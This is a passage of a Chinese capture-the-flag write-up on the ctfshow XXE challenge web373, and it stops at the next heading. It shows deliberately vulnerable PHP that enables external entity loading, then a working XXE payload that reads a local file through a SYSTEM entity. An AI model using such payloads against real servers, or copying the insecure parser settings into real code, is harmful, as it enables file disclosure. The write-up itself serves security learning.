可以看这位的

CTFSHOW | XXE题解 web373 - web378

XXE漏洞学习笔记

ctfshow373 xxe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
//允许加载外部实体,在PHP 8.0及以上版本,此项默认为true。
libxml_disable_entity_loader(false);
//从HTTP请求的body中读取原始数据,一般是POST请求的内容。
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
//新建一个DOMDocument对象,用于处理XML。
$dom = new DOMDocument();
//LIBXML_NOENT: 替换XML文档中的实体;LIBXML_DTDLOAD: 允许加载外部DTD。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//把DOM对象转换为PHP对象。
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

由源码可知,这个是有回显的xxe,所以可以直接post注入

1
2
3
4
5
6
7
8
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<!-- 对应源码的$ctfshow = $creds->ctfshow; -->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

xxe374